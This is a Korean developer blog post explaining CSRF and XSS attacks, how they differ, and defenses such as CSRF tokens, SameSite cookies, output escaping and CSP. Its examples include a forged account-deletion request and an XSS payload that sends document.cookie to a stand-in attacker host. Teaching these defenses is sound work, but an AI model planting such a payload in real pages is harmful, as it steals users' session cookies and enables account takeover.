컴퓨터 사이언스/보안

[CSRF와 XSS] 웹 보안의 핵심

Dachaes 2025. 4. 11. 11:30
728x90
반응형

CSRF와 XSS 

웹 애플리케이션을 개발하면서 반드시 고려해야 할 것이 바로 보안입니다. 특히 CSRF(Cross-Site Request Forgery)XSS(Cross-Site Scripting)는 자주 언급되지만, 정확한 차이나 방어 방법이 헷갈리기 쉬운 주제입니다. 이 글에서는 두 공격의 개념과 차이점, 실제 예시, 그리고 효과적인 대응 방안을 상세히 정리해 보겠습니다.
 


1.  CSRF (Cross-Site Request Forgery)란?

CSRF는 사용자가 인증된 상태를 악용해, 사용자의 의도와 무관하게 서버에 요청을 보내는 공격입니다. 보통 사용자가 로그인된 사이트의 세션 쿠키를 이용해 악성 사이트가 서버에 요청을 보내는 방식으로 이루어집니다.

예시

<!-- 사용자가 로그인 중인 사이트가 example.com이라고 가정 -->
<img src="https://example.com/api/delete-account" />
 

 위와 같은 코드를 포함한 피싱 페이지에 접속하면, 사용자가 따로 클릭하지 않아도 example.com에 요청이 전송되어 의도하지 않은 동작(계정 삭제 등)이 발생할 수 있습니다.

방어 방법

  • CSRF 토큰 사용 : 서버가 발급한 고유 토큰을 함께 전송해야 요청을 처리하도록 설계
  • SameSite 쿠키 속성 설정 : 쿠키가 타 사이트 요청에 포함되지 않도록 제한
  • Referer 또는 Origin 검증 : 요청이 온 출처를 확인

 


2.  XSS (Cross-Site Scripting)란?

XSS는 공격자가 악의적인 스크립트를 웹 페이지에 주입하여, 사용자 브라우저에서 실행되도록 하는 공격입니다. 주로 입력값 검증을 소홀히 할 때 발생합니다.

예시

<!-- 게시판에 입력한 악성 댓글 -->
<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>

 이 스크립트는 페이지에 삽입되면 사용자의 쿠키를 공격자 서버로 전송할 수 있습니다.

주요 유형

  • Stored XSS : 악성 스크립트가 서버에 저장됨 (게시판, 댓글 등)
  • Reflected XSS : 요청 URL 등에 포함된 스크립트가 바로 응답에 반영됨
  • DOM-based XSS : 클라이언트 자바스크립트가 입력값을 DOM에 직접 삽입할 때 발생

방어 방법

  • 출력 시 이스케이핑: HTML, JavaScript, URL 등 맥락에 맞는 이스케이프 처리
  • 입력 검증: 예상되는 데이터 형식으로만 입력 받기
  • Content Security Policy (CSP): 신뢰할 수 없는 스크립트 실행 제한

 


3.  CSRF vs XSS : 무엇이 다를까?

항목 CSRF XSS
공격 대상 서버 사용자
주요 위험 사용자 인증 상태 남용 사용자 정보 탈취, 세션 하이재킹
조건 사용자가 로그인된 상태여야 함 브라우저에서 스크립트 실행 가능해야 함
방어법 CSRF 토큰, SameSite 쿠키 등 이스케이핑, CSP, 입력 검증 등

 


4.  보안을 위한 개발자 체크리스트

  • 모든 입력값에 대해 서버와 클라이언트 측 검증을 적용했는가?
  • HTML 출력 시 적절한 이스케이핑을 하고 있는가?
  • CSRF 토큰 또는 SameSite 속성을 설정했는가?

외부에서 삽입 가능한 스크립트를 제한하고 있는가?
 


5.  마무리

웹 보안은 한 순간의 실수로 심각한 피해를 초래할 수 있습니다. CSRF와 XSS는 서로 다른 방식으로 사용자와 서버를 노리지만, 모두 예방 가능하다는 공통점이 있습니다.

함께 보면 좋은 자료

블로그 글 :

 

[SOP와 CORS] 브라우저는 왜 내 API를 막을까?

SOP와 CORSAccess to XMLHttpRequest at 'https://api.example.com/data' from origin 'http://localhost:3000' has been blocked by CORS policy...무슨 말인지 모를 긴 오류 메시지. 이건 바로 SOP(Same-Origin Policy, 동일 출처 정책) 와 CORS(

dachaes-devlogs.tistory.com

 

[세션 하이재킹] 사용자의 신뢰를 가로채는 공격

세션 하이재킹(Session Hijacking) 웹 애플리케이션의 보안에서 세션은 사용자의 신뢰와 인증을 유지하는 핵심 요소입니다. 하지만 이 세션이 공격자에게 탈취된다면? 사용자는 모르게 로그인 정보

dachaes-devlogs.tistory.com

 


 

728x90
반응형